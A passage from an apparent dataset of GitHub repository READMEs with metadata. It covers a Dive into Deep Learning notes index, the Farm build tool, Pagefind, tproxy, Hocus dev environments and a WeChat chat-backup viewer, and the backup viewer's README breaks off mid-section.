\| <a href="https://www.bilibili.com/video/BV1by4y1K7SE?spm_id_from=333.999.0.0"> <img src="./imgs/cover/43.png" width="170" /></a> \| [43-树叶分类竞赛技术总结](notes/43-树叶分类竞赛技术总结.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_9.pdf) \| \| <a href="https://github.com/Aleafy"> <img src="./imgs/profile/Ye_Fang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1Db4y1C71g?spm_id_from=333.999.0.0"> <img src="./imgs/cover/44.png" width="170" /></a> \| [44-物体检测算法](notes/44-物体检测算法：R-CNN,SSD,YOLO.md) \| [讲义1](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_10.pdf)[2](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_11.pdf)[3](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_12.pdf) \| \| <a href="https://github.com/kokolerk"><img src="./imgs/profile/JiaQi_Wang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1ZX4y1c7Sw?p=2"> <img src="./imgs/cover/45.png" width="170" /></a> \| [45-SSD实现](code/45-ssd) \| [讲义](https://zh-v2.d2l.ai/chapter_computer-vision/ssd.html) \| [Jupyter 代码](code/45-ssd) \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1BK4y1M7Rd"> <img src="./imgs/cover/46.png" width="170" /></a> \| [46-语义分割和数据集](notes/46-语义分割.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_13.pdf) \| [Jupyter 代码](code/46-语义分割.ipynb) \| <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> <a href="https://github.com/KingXHJ"><img src="./imgs/profile/LiZhong_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV17o4y1X7Jn/"> <img src="./imgs/cover/47.png" width="170" /></a> \| [47-转置卷积](notes/47-转置卷积.md) \| [讲义1](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_14.pdf) [2](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_15.pdf) \| \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1af4y1L7Zu/"> <img src="./imgs/cover/48.png" width="170" /></a> \| [48-FCN](notes/48-全连接卷积神经网络（FCN）.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_16.pdf) \| [Jupyter 代码](code/48-全卷积神经网络（FCN）/fcn.ipynb) \| <a href="https://github.com/kokolerk"><img src="./imgs/profile/JiaQi_Wang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1Eh41167GN/"> <img src="./imgs/cover/49.png" width="170" /></a> \| [49-样式迁移](notes/49-样式迁移.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_17.pdf) \| [Jupyter 代码](code/49-样式迁移.ipynb) \| <a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1F64y1x7xP/"> <img src="./imgs/cover/50.png" width="170" /></a> \| [50-课程竞赛](notes/50-课程竞赛：牛仔行头检测.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_18.pdf) \| \| <a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1L44y1m768/"> <img src="./imgs/cover/51.png" width="170" /></a> \| [51-序列模型](notes/51-序列模型.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-3_1.pdf) \| \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1Fo4y1Q79L/"> <img src="./imgs/cover/52.png" width="170" /></a> \| [52-文本预处理](code/52-文本预处理.ipynb) \| [讲义](https://zh-v2.d2l.ai/chapter_recurrent-neural-networks/text-preprocessing.html) \| [Jupyter 代码](code/52-文本预处理.ipynb) \| <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> <a href="https://github.com/KingXHJ"><img src="./imgs/profile/LiZhong_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1ZX4y1F7K3/"> <img src="./imgs/cover/53.png" width="170" /></a> \| [53-语言模型](notes/53-语言模型.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-3_2.pdf) \| \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1D64y1z7CA/"> <img src="./imgs/cover/54.png" width="170" /></a> \| [54-循环神经网络](notes/54-循环神经网络RNN.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-3_3.pdf) \| \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1kq4y1H7sw/"> <img src="./imgs/cover/55.png" width="170" /></a> \| [55-RNN实现](code/55-RNN.ipynb) \| [讲义](https://zh-v2.d2l.ai/chapter_recurrent-neural-networks/rnn-scratch.html) \| [Jupyter 代码](code/55-RNN.ipynb) \| <a href="https://github.com/Aleafy"> <img src="./imgs/profile/Ye_Fang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1mf4y157N2/"> <img src="./imgs/cover/56.png" width="170" /></a> \| [56-GRU](notes/56-GRU.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-3_4.pdf) \| [Jupyter 代码](code/56-GRU.ipynb) \| <a href="https://github.com/Aleafy"> <img src="./imgs/profile/Ye_Fang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1JU4y1H7PC/"> <img src="./imgs/cover/57.png" width="170" /></a> \| [57-LSTM](notes/57-LSTM.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-3_5.pdf) \| \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1JM4y1T7N4/"> <img src="./imgs/cover/58.png" width="170" /></a> \| [58-深层循环神经网络](notes/58-深层循环神经网络.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-3_6.pdf) \| [Jupyter 代码](code/58-深层循环神经网络.ipynb) \| <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> <a href="https://github.com/KingXHJ"><img src="./imgs/profile/LiZhong_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV12X4y1c71W/"> <img src="./imgs/cover/59.png" width="170" /></a> \| [59-双向循环神经网络] \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-3_7.pdf) \| \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1H64y1s7TH/"> <img src="./imgs/cover/60.png" width="170" /></a> \| [60-机器翻译数据集](code/60_机器翻译与数据集.ipynb) \| [讲义](https://zh-v2.d2l.ai/chapter_recurrent-modern/machine-translation-and-dataset.html) \| [Jupyter 代码](code/60_机器翻译与数据集.ipynb) \| <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> <a href="https://github.com/KingXHJ"><img src="./imgs/profile/LiZhong_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1c54y1E7YP/"> <img src="./imgs/cover/61.png" width="170" /></a> \| [61-编码器-解码器架构](notes/61-编码器-解码器架构.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-3_8.pdf) \| \| <a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV16g411L7FG/"> <img src="./imgs/cover/62.png" width="170" /></a> \| [62-序列到序列的学习](notes/62-序列到序列学习.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-3_9.pdf) \| [Jupyter 代码](code/62-Seq2Seq.ipynb) \| <a href="https://github.com/Aleafy"> <img src="./imgs/profile/Ye_Fang.png" width="80" /></a><a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1B44y1C7m1/"> <img src="./imgs/cover/63.png" width="170" /></a> \| [63-束搜索](notes/63-束搜索.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-3_10.pdf) \| \| <a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1264y1i7R1/"> <img src="./imgs/cover/64.png" width="170" /></a> \| [64-注意力机制](code/64-注意力机制.ipynb) \| [讲义](https://zh-v2.d2l.ai/chapter_attention-mechanisms/nadaraya-waston.html) \| [Jupyter 代码](code/64-注意力机制.ipynb) \| <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> <a href="https://github.com/KingXHJ"><img src="./imgs/profile/LiZhong_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1Tb4y167rb/"> <img src="./imgs/cover/65.png" width="170" /></a> \| [65-注意力分数](notes/65-注意力分数.md) \| [讲义](https://zh-v2.d2l.ai/chapter_attention-mechanisms/attention-scoring-functions.html) \| \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1v44y1C7Tg/"> <img src="./imgs/cover/66.png" width="170" /></a> \| [66-使用注意力的seq2seq] \| [讲义](https://zh-v2.d2l.ai/chapter_attention-mechanisms/bahdanau-attention.html) \| \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV19o4y1m7mo/"> <img src="./imgs/cover/67.png" width="170" /></a> \| [67-自注意力](code/67-自注意力和位置编码.ipynb) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-4_4.pdf) \| [Jupyter 代码](code/67-自注意力和位置编码.ipynb) \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1Kq4y1H7FL/"> <img src="./imgs/cover/68.png" width="170" /></a> \| [68-Transformer](notes/68-Transformer.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-4_5.pdf) \| [Jupyter 代码](code/68-Transforemer/transformer.ipynb) \| <a href="https://github.com/kokolerk"><img src="./imgs/profile/JiaQi_Wang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1yU4y1E7Ns/"> <img src="./imgs/cover/69.png" width="170" /></a> \| [69-BERT预训练](notes/69-bert预训练.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-4_6.pdf) \| \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV15L4y1v7ts"> <img src="./imgs/cover/70.png" width="170" /></a> \| [70-BERT微调](notes/70-BERT微调.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-4_7.pdf) \| \| <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> <a href="https://github.com/KingXHJ"><img src="./imgs/profile/LiZhong_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV13b4y1m7y8"> <img src="./imgs/cover/71.png" width="170" /></a> \| [71-目标检测竞赛总结] \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-4_1.pdf) \| \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1bP4y1p7Gq"> <img src="./imgs/cover/72.png" width="170" /></a> \| [72-优化算法](notes/72-优化算法.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-4_2.pdf) \| \| <a href="https://github.com/kokolerk"><img src="./imgs/profile/JiaQi_Wang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1AL4y1Y7gu"> <img src="./imgs/cover/73.png" width="170" /></a> \| [73-课程总结和进阶学习](https://courses.d2l.ai/zh-v2/assets/pdfs/part-4_3.pdf) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-4_3.pdf) \| \| <a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> \| ## <img src="./imgs/icon/folders.png" width="25" /> 文件夹说明 - imgs：笔记涉及到的图片 - notes：笔记的markdown版本 - code：课程涉及到的python代码 ## <img src="./imgs/icon/organizer.png" width="25" /> 组织者感谢以下同学对本项目的组织 <a href="https://github.com/Aleafy"> <img src="./imgs/profile/Ye_Fang.png" width="80" /></a> <a href="https://github.com/kokolerk"><img src="./imgs/profile/JiaQi_Wang.png" width="80" /></a> ## <img src="./imgs/icon/heart.png" width="25" /> 贡献者感谢以下同学对本项目的支持与贡献 <a href="https://github.com/Aleafy"> <img src="./imgs/profile/Ye_Fang.png" width="80" /></a> <a href="https://github.com/kokolerk"><img src="./imgs/profile/JiaQi_Wang.png" width="80" /></a> <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> <a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> <a href="https://github.com/benmagnifico"><img src="./imgs/profile/JingGuang_Li.png" width="80" /></a> <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> <a href="https://github.com/KingXHJ"> <img src="./imgs/profile/LiZhong_Zhang.png" width="80" /></a> <a href="https://github.com/120L031815"> <img src="./imgs/profile/RuiChen_Yi.png" width="80" /></a> <a href="https://github.com/Chigland"> <img src="./imgs/profile/ZhiTao_Wang.png" width="80" /></a>	Notes about courses Dive into Deep Learning by Mu Li	deep-learning,pytorch	0	9	7	32	3	1	0
farm-fe/farm	<div align="center"> <a href="https://github.com/farm-fe/farm"> <img src="./assets/logo.png" width="550" /> </a> <h3>Extremely fast Vite-compatible web building tool written in Rust</h3> <p> <span>English</span> \| <a href="https://github.com/farm-fe/farm/blob/main/README.zh-CN.md">简体中文</a> </p> <p align="center"> <a href="https://discord.gg/mDErq9aFnF"> <img src="https://img.shields.io/badge/chat-discord-blueviolet?style=flat&logo=discord&colorA=ffe3f5&colorB=711a5f" alt="discord chat" /> </a> <a href="https://twitter.com/fe_farm" > <img src="https://img.shields.io/twitter/url.svg?label=@fe_farm&style=social&url=https://twitter.com/fe_farm"/> </a> <a href="https://npmjs.com/package/@farmfe/core"><img src="https://img.shields.io/npm/v/@farmfe/core.svg?style=flat-square&colorA=ffe3f5&colorB=711a5f" alt="npm package"></a> <a href="https://nodejs.org/en/about/releases/"><img src="https://img.shields.io/node/v/@farmfe/core.svg?style=flat-square&colorA=ffe3f5&colorB=711a5f" alt="node compatibility"></a> <a href="https://npmcharts.com/compare/@farmfe/core?minimal=true"> <img src="https://img.shields.io/npm/dm/@farmfe/core.svg?style=flat-square&colorA=ffe3f5&colorB=711a5f" alt="downloads" /> </a> <a href="https://github.com/farm-fe/farm/blob/main/LICENSE"> <img src="https://img.shields.io/npm/l/@farmfe/core?style=flat-square&colorA=ffe3f5&colorB=711a5f" alt="license" /> </a> </p> <br/> </div> --- ## Intro Farm is a extremely fast vite-compatible web-building tool written in Rust. It's designed to be fast, powerful and consistent, aims to provide best experience for web development, which is the real next generation build tool. ## Online experience [![Edit Farm](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/github/ErKeLost/react/main) ## Why Farm? > See [Why Farm](https://farmfe.org/docs/why-farm) for details. In short, tools like webpack are too slow, but new tools like Vite are not perfect, Vite has a lot of drawbacks when comes to a large project: - A huge number of requests during development：when there are hundreds or thousands modules per page, loading performance severely degraded, it may takes seconds or more when refresh the page. - Inconsistency between development and production: Using different strategy and tools in development and production, it's really inconsistent and it's hard to debug online issues. - Inflexible Code Splitting: It's hard to control the output of your bundles. Farm can solve these problems perfectly, and it's really fast cause it's written in Rust. Farm aims to be fast, consistent, flexible, which is the real next generation build tool. ## Features > [!NOTE] > > - Since Farm v0.13, Vite plugins can be used directly in Farm. Refer to [Using vite plugins in Farm](https://farmfe.org/docs/using-plugins#using-vite-plugins-in-farm) > - Since Farm v0.14, persistent disk cache enabled by default. Refer to [Incremental Building](https://farmfe.org/docs/advanced/persistent-cache) > - Now Farm is 1.0 stable and production ready!. See [Farm official website](https://farmfe.org/) to get started. - ⚡ Extremely Fast: Written in Rust, start a React / Vue project in milliseconds and perform an HMR update within 20ms for most situations. - ⚡ Incremental Building: Support persistent cache, module level cache enabled by default, any module won't be compiled twice until it's changed! - 🧰 Fully Pluggable and Vite Compatible: Everything inside Farm is powered by plugins, Support Vite Plugins out of box. Supports Farm compilation plugins(both Rust and JavaScript plugins, and SWC plugins), Farm runtime plugins and Farm server plugin. - ⚙️ Powerful: Compiles JS/TS/JSX/TSX, CSS, Css Modules, HTML, and static assets out of the box. Support official compilation plugins for Popular frameworks/tools like React, Vue, SolidJs, Sass, Less, Postcss and so on. - ⏱️ Lazy Compilation: Dynamically imported resources are compiled only when requested, speed up compilation for large scale project. Just write a `dynamic import` and the imported module won't be compiled when it is executed. - 📦 Partial Bundling: Bundle your project into a few reasonable bundles automatically, speeding up resource loading without losing caching granularity. Refer to [RFC-003 Partial Bundling](https://github.com/farm-fe/rfcs/blob/main/rfcs/003-partial-bundling/rfc.md) for details. - 🔒 Consistency: What you see in development will be the same as what you get in production. - 🌳 Compatibility: Supports both legacy (ES5) and modern browsers. <br/> > Farm has implemented all features of a web build tool, including production optimization like tree shake and minification. It's now 1.0 stable. We have already migrated enterprise projects to Farm, and it works great! See [RFC-001 Architecture](https://github.com/farm-fe/rfcs/blob/main/rfcs/001-core-architecture/rfc.md#motivation) for design motivation and architecture. <br/> ## Getting Started Create a new Farm(support both React and Vue) project with your favorite package manager: ```bash # with npm npm create farm@latest # with yarn yarn create farm@latest # with pnpm pnpm create farm@latest ``` Visit [Farm Documentation](https://farmfe.org) to learn more about Farm. ## Benchmark Farm is much faster than similar tool， 20x faster than webpack and 10x faster than Vite in the benchmark: ![benchmark](./assets/benchmark-full.png) See [Benchmark](https://github.com/farm-fe/performance-compare) for details. ## Contribution See [Contributing Guide](https://github.com/farm-fe/farm/blob/main/CONTRIBUTING.md). ## Chat With Us - [Author Twitter](https://twitter.com/brightwwu46799), [Official Twitter](https://twitter.com/FarmFe71928) - With [Discord](https://discord.gg/mDErq9aFnF) - Wechat group <br><img src="https://github.com/ErKeLost/farm-nestjs/assets/66500121/f353581b-cdd1-45ee-9e17-efa202d672cf" width="30%" /> - QQ group <br><img src="https://github.com/ErKeLost/react/assets/66500121/a9312045-584b-44fa-87b3-2827372ae849" width="30%" /> ## Contributors <a href="https://github.com/farm-fe/farm/graphs/contributors" target="_blank"> <table> <tr> <th colspan="2"> <br/> <img src="https://contrib.rocks/image?repo=farm-fe/farm"><br/><br/> </th> </tr> <tr> <td> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://next.ossinsight.io/widgets/official/compose-org-active-contributors/thumbnail.png?activity=active&period=past_28_days&owner_id=108205785&repo_ids=507542208&image_size=2x3&color_scheme=dark" /> <img alt="Contributors of farm-fe/farm" src="https://next.ossinsight.io/widgets/official/compose-org-active-contributors/thumbnail.png?activity=active&period=past_28_days&owner_id=108205785&repo_ids=507542208&image_size=2x3&color_scheme=light" /> </picture> </td> <td rowspan="2"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://next.ossinsight.io/widgets/official/compose-org-participants-growth/thumbnail.png?activity=new&period=past_28_days&owner_id=108205785&repo_ids=507542208&image_size=4x7&color_scheme=dark"> <img alt="New trends of farm-fe" src="https://next.ossinsight.io/widgets/official/compose-org-participants-growth/thumbnail.png?activity=new&period=past_28_days&owner_id=108205785&repo_ids=507542208&image_size=4x7&color_scheme=light"> </picture> </td> </tr> <tr> <td> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://next.ossinsight.io/widgets/official/compose-org-active-contributors/thumbnail.png?activity=new&period=past_28_days&owner_id=108205785&repo_ids=507542208&image_size=2x3&color_scheme=dark" /> <img alt="Contributors of farm-fe/farm" src="https://next.ossinsight.io/widgets/official/compose-org-active-contributors/thumbnail.png?activity=new&period=past_28_days&owner_id=108205785&repo_ids=507542208&image_size=2x3&color_scheme=light" /> </picture> </td> </tr> </table> </a> ## Credits Thanks to: - The [SWC](https://github.com/swc-project/swc) project created by [@kdy1](https://github.com/kdy1), which powers Farm's code parsing, transformation and minification. - The [NAPI-RS](https://github.com/napi-rs/napi-rs) project created by [@Brooooooklyn](https://github.com/Brooooooklyn), which powers Farm's node-binding implementation. - The [Rollup](https://github.com/rollup/rollup) project created by [@lukastaegert](https://github.com/lukastaegert), which inspired Farm's plugin system implementation. - The [Vite](https://github.com/vitejs/vite) project created by [Evan You](https://github.com/yyx990803), which inspired Farm's compatibility design of ecosystem. ## Author & Maintainer Author: - [brightwu（吴明亮）](https://github.com/wre232114)，worked at bytedance. [Twitter](https://twitter.com/brightwwu46799) Maintainer: - [ErKeLost](https://github.com/ErKeLost) - [shulandmimi](https://github.com/shulandmimi)	Extremely fast Vite-compatible web build tool written in Rust	build-tool,compiler,rust,hmr,frontend,farm,bundler,typescript,vite	674	33	997	928	70	53	8
CloudCannon/pagefind	# Pagefind Pagefind is a fully static search library that aims to perform well on large sites, while using as little of your users’ bandwidth as possible, and without hosting any infrastructure. The full documentation on using Pagefind can be found at https://pagefind.app/.	Static low-bandwidth search at scale	null	64	44	293	1,044	118	69	3
kevwan/tproxy	null	A cli tool to proxy and analyze TCP connections.	monitoring-tool,tcp,tcpdump,grpc,proxy,relay,charles,connection,wireshark	18	11	82	132	3	2	4
hocus-dev/hocus	<p align="center"> <img alt="hocus-gh-bg" src="https://user-images.githubusercontent.com/28019628/227353685-63f8e3bb-fbf9-446b-a6bd-f15fc53c9a52.png"> </p> <p align="center"> <a rel="nofollow" href="https://join.slack.com/t/hocus-dev/shared_invite/zt-1yhsrtd84-lL7~bPl1Rd~_ZqVBzp2Ycg"> <img src="https://user-images.githubusercontent.com/28019628/250884222-9fe874f4-53cd-4a31-895e-296037c0e516.svg" alt="slack" style="max-width: 100%;"> </a> </p> <p align="center"> <a href="https://hocus.dev/">Website</a> - <a href="https://hocus.dev/docs">Docs</a> - <a href="https://github.com/hocus-dev/hocus/issues/new/choose">Bug report</a> - <a href="https://join.slack.com/t/hocus-dev/shared_invite/zt-1yhsrtd84-lL7~bPl1Rd~_ZqVBzp2Ycg">Slack</a> </p> Hocus is a self-hosted application that spins up ready-to-code, disposable development environments on your own servers in seconds. You define your dev environments as code and launch them instantly from your browser. It's a self-hosted alternative to Gitpod and GitHub Codespaces. Hocus integrates with any Git provider that uses the SSH protocol, like GitHub, GitLab, BitBucket, or Gitea. It prebuilds dev environments on every commit for all branches like a CI system, enabling your team members to start coding with fresh, fully configured dev environments right away. Whether you're fixing a bug, building a new feature, or conducting a code review, Hocus has you covered. ## Features ![hocus-demo-3](https://user-images.githubusercontent.com/28019628/227723898-09a9ac73-ab36-4fb2-a008-ce81e047bb7a.gif) - 💻 Workspaces - disposable, fully-configured development environments powered by VMs, defined as code. - 🏗️ Prebuilds - Hocus continuously builds your project like a CI system, so you can spin up a fresh dev environment in seconds and focus on coding rather than waiting. - 🤝 Project Environment Variables - Declare shared environment variables for your entire team, making collaboration easier. - 🔗 VSCode Integration - Connect to workspaces over SSH automatically with your local VSCode editor. - 🧙‍♂️ Full Root Access - Unlike Docker containers, Hocus workspaces are full-fledged VMs, giving you full control over your environment. You can use Docker and nested KVM, run [LocalStack](https://github.com/localstack/localstack), or even deploy [Kubernetes](https://github.com/kubernetes/kubernetes); - 🔄 Support for any Git provider that uses the SSH protocol - Connect Hocus to GitHub, Gitlab, Bitbucket, Gitea, Gerrit, and others. - 🚄 Monorepo support - Create multiple development environments for different projects in a single repository. ## Get Started ### Requirements - x86_64 Linux, preferably with at least the 5.10 kernel - KVM support on the host - A Linux distribution which supports the `target_core_user`, `tcm_loop` and `sd_mod` kernel modules (generally available with the notable exception of WSL https://github.com/microsoft/WSL/issues/9511) - Git - Docker, Docker Compose, and Buildx That's it! Hocus is fully containerized and won't install anything directly on your host system. The following script will check if your system meets the requirements, prompt you to install any missing dependencies, and set up Hocus with `docker-compose`. ```bash git clone https://github.com/hocus-dev/hocus.git cd hocus # HOCUS_HOSTNAME is the hostname of the machine where you are deploying Hocus # If you are running Hocus locally, set it to "localhost" # If you are running Hocus on a remote server, set it to the hostname of the server HOCUS_HOSTNAME="localhost" ops/bin/local-up.sh ``` It will bring up: - The Hocus control plane, a [Remix](https://github.com/remix-run/remix) application; - [Temporal](https://temporal.io/), which is a workflow engine; - the Hocus agent, which is a Temporal worker; - [Postgres](https://www.postgresql.org/); - [Keycloak](https://www.keycloak.org/), for authentication. You can run `ops/bin/local-cleanup.sh` to remove Hocus from your system completely. Check out our [quickstart](https://hocus.dev/docs/installation/quickstart) for next steps and more information about managing your deployment. ## Current State of Hocus - Hocus is currently in alpha, but it's already useful for personal use. We are using Hocus to develop Hocus, but we don't recommend you deploy it for your team at work yet. - Hocus currently supports single node deployment only. However, it is designed to be deployed on a fleet of servers in the future. - While Hocus works well for most scenarios, there are known bugs and rough edges. For example, stopping a workspace may sometimes leave it in the stopping state indefinitely. - Despite its imperfections, we're releasing Hocus now to get feedback and learn if others find it useful. ## Project Goals - Ease of deployment and management are central goals of Hocus, with minimal assumptions made about the underlying OS and hardware. - Hocus should provide a native development experience with performance on par with bare-metal development. - Hocus should be scalable to accommodate large teams, with support for thousands of users and heavyweight repositories. We're not there yet. ## Roadmap - [x] Add basic single node support - [ ] Optimize single node storage usage, performance, and reliability - [ ] Add permissioning for teams, admins, and regular users - [ ] Add multi-node support - [ ] Add support for more IDEs, particularly JetBrains ## Versioning While in alpha, every version change should be assumed to be breaking. There are no upgrade paths. ## License This repository's code is licensed under the Elastic License v2.0, unless stated otherwise. The `extensions` directory and its subdirectories are licensed under MIT. ## Newsletter You can get occasional updates about Hocus development by signing up to [our newsletter](https://hocus.dev/newsletter).	🪄 Spin up ready-to-code, disposable dev environments on your own servers. Self-hosted alternative to Gitpod and Github Codespaces.	null	3	4	115	822	18	6	0
greycodee/wechat-backup	> ### 此项目停止维护，如需二次开发，请自行 fork ## 效果图 ![](./web.png) ## 使用流程 > 详细说明在: https://blog.greycode.top/posts/android-wechat-bak/ 1. 手机聊天记录备份到电脑，在有 ROOT 权限的手机上登陆微信，电脑点击备份恢复，把聊天记录恢复到有 ROOT 的手机上。 2. 收集下面这些数据，然后放在同一个文件夹下: - image2 文件夹：里面存放着所有的微信聊天图片，位置在：/data/data/com.tencent.mm/MicroMsg/[32位字母]/image2 - voice2 文件夹：里面存放着所有的微信语音，位置在：/sdcard/Android/data/com.tencent.mm/MicroMsg/[32位字母]/voice2 - video 文件夹：里面存放着所有的微信视频，位置在：/sdcard/Android/data/com.tencent.mm/MicroMsg/[32位字母]/video - avatar 文件夹：里面存放着所有的微信头像，位置在：/data/data/com.tencent.mm/MicroMsg/[32位字母]/avatar - Download 文件夹: 微信的聊天发送的文件存放在这里，位置在：/sdcard/Android/data/com.tencent.mm/MicroMsg/Download - EnMicroMsg.db: 微信的数据库文件，位置在：/data/data/com.tencent.mm/MicroMsg/[32位字母]/EnMicroMsg.db - WxFileIndex.db: 微信的文件索引数据库文件，位置在：/data/data/com.tencent.mm/MicroMsg/[32位字母]/WxFileIndex.db 3. 获取解密 DB 的密钥。 4. 进行微信聊天数据 DB 的解密 5. 转换微信语音 6. 运行本程序，打开控制台输出的网址，就可以查看你的聊天记录了。 ### 运行命令可以直接运行： ```shell $ git clone https://github.com/greycodee/wechat-backup.git $ cd wechat-backup $ go run main.go -f '[替换成你的微信备份文件路径]' ``` 或者编译后运行： 